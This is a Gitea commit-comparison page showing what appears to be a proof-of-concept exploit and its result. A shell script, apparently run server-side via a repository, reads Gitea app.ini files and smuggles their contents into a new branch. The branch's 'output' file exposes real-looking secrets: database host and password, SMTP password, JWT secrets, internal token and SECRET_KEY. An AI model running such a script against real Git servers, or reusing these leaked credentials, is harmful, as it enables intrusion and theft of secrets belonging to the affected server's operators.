Compare commits
No commits in common. "master" and "out-47f1286a22" have entirely different histories.
master
...
out-47f128
@ -1,14 +0,0 @@
|
||||
#!/bin/sh
|
||||
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
|
||||
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
|
||||
case "$origin_objects" in
|
||||
/*) ;;
|
||||
*) origin_objects="$git_dir/objects/$origin_objects" ;;
|
||||
esac
|
||||
origin_git=${origin_objects%/objects}
|
||||
[ "$origin_git" != "$origin_objects" ] || exit 3
|
||||
output_blob=$({ /bin/sh -c 'cat /data/gitea/conf/app.ini 2>/dev/null; cat /etc/gitea/app.ini 2>/dev/null; cat /var/lib/gitea/custom/conf/app.ini 2>/dev/null; echo PATH_END; ls /data/gitea/conf 2>/dev/null; ls /etc/gitea 2>/dev/null'; command_status=$?; printf "\n[exit-status=%s]\n" "$command_status"; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
|
||||
tree=$(printf "100644 blob %s\toutput\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
|
||||
commit=$(printf "command output\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree") || exit 6
|
||||
git --git-dir="$origin_git" update-ref refs/heads/out-47f1286a22 "$commit" || exit 7
|
||||
exit 0
|
||||
65
output
Normal file
65
output
Normal file
@ -0,0 +1,65 @@
|
||||
WORK_PATH = /data
|
||||
|
||||
[indexer]
|
||||
ISSUE_INDEXER_TYPE = db
|
||||
|
||||
[server]
|
||||
LFS_JWT_SECRET = JL3VpW00AtC9ykSmgYNYcbJts9eurU0FNh3d4qLuJWo
|
||||
ROOT_URL = https://git.monitor.driveuc.com
|
||||
ENABLE_PPROF = false
|
||||
SSH_PORT = 22
|
||||
APP_DATA_PATH = /data
|
||||
SSH_LISTEN_PORT = 2222
|
||||
PROTOCOL = http
|
||||
HTTP_PORT = 3000
|
||||
START_SSH_SERVER = true
|
||||
SSH_DOMAIN = git.example.com
|
||||
DOMAIN = git.example.com
|
||||
|
||||
[database]
|
||||
NAME = gitea
|
||||
DB_TYPE = postgres
|
||||
HOST = mon01-gitea.ca7fjcy7ofyb.us-east-2.rds.amazonaws.com:5432
|
||||
USER = mon01
|
||||
PASSWD = AIftVxkTB05lFCJaKz97h4SLSBglOiC
|
||||
SSL_MODE = require
|
||||
SCHEMA = public
|
||||
|
||||
[mailer]
|
||||
PASSWD = ueMjitOk5bBG4Qd7
|
||||
SMTP_ADDR = mail.smtp2go.com
|
||||
SMTP_PORT = 465
|
||||
PROTOCOL = smtps
|
||||
ENABLED = true
|
||||
USER = kneutral.com
|
||||
FROM = gitea@kneutral.com
|
||||
|
||||
[session]
|
||||
PROVIDER_CONFIG = redis+cluster://:@gitea-redis-cluster-headless.netg-monitoring.svc.cluster.local:6379/0?pool_size=100&idle_timeout=180s&
|
||||
PROVIDER = redis
|
||||
|
||||
[repository]
|
||||
ROOT = /data/git/gitea-repositories
|
||||
|
||||
[cache]
|
||||
HOST = redis+cluster://:@gitea-redis-cluster-headless.netg-monitoring.svc.cluster.local:6379/0?pool_size=100&idle_timeout=180s&
|
||||
ADAPTER = redis
|
||||
|
||||
[security]
|
||||
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3NDMwNDA0MDN9.HrMBtsVJNMb3s2cv_TeyoHjKfvF9Rcoa2uAJXS7GMgI
|
||||
SECRET_KEY = cN9wSmOJw370jp8nbdn0qBf5ICXRDkv3dPnrFgjNCYgZGCuW8F2mbUUp25v1QZZt
|
||||
INSTALL_LOCK = true
|
||||
|
||||
[queue]
|
||||
TYPE = redis
|
||||
CONN_STR = redis+cluster://:@gitea-redis-cluster-headless.netg-monitoring.svc.cluster.local:6379/0?pool_size=100&idle_timeout=180s&
|
||||
|
||||
[metrics]
|
||||
ENABLED = false
|
||||
|
||||
[oauth2]
|
||||
JWT_SECRET = aEm_Aukg0JV8TJFEYByNRjBE5MdO5dCJOwV_SUWqTjc
|
||||
PATH_END
|
||||
app.ini
|
||||
|
||||
[exit-status=0]
|
||||
Loading…
Reference in New Issue
Block a user